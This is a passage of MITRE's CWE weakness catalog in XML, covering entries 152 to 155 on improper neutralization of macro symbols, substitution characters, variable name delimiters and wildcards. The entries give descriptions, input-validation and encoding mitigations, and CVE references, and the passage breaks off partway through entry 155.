            <Previous_Entry_Name Date="2008-01-30">Comment Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Comment Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Sanitize Comment Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Comment Delimiters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="152" Name="Improper Neutralization of Macro Symbols" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0770</Reference>
               <Description>Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0770</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2018</Reference>
               <Description>Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2018</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Macro Symbol</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Macro Symbol</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Macro Symbol</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Sanitize Macro Symbol</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Macro Symbols</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="153" Name="Improper Neutralization of Substitution Characters" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that substitution characters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0770</Reference>
               <Description>Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0770</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Substitution Character</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Substitution Character</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Substitution Character</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Sanitize Substitution Character</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Substitution Characters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="154" Name="Improper Neutralization of Variable Name Delimiters" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: "$" for an environment variable.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that variable name delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-0129</Reference>
               <Description>"%" variable is expanded by wildcard function into disallowed commands.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0129</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0770</Reference>
               <Description>Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0770</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Variable Name Delimiter</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="15"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Research Gap">Under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Variable Name Delimiter</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Variable Name Delimiter</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Sanitize Variable Name Delimiter</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Variable Name Delimiters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="155" Name="Improper Neutralization of Wildcards or Matching Symbols" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, an injected element may cause the process to take unexpected actions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that wildcard or matching elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0433</Reference>
               <Description>Bypass file restrictions using wildcard character.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0433</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1010</Reference>
               <Description>Bypass file restrictions using wildcard character.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1010</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0334</Reference>
               <Description>Wildcards generate long string on expansion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0334</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1962</Reference>
               <Description>SQL injection involving "/**/" sequences.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1962</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Wildcard or Matching Element</Entry_Name>
            </Taxonomy_Mapping>
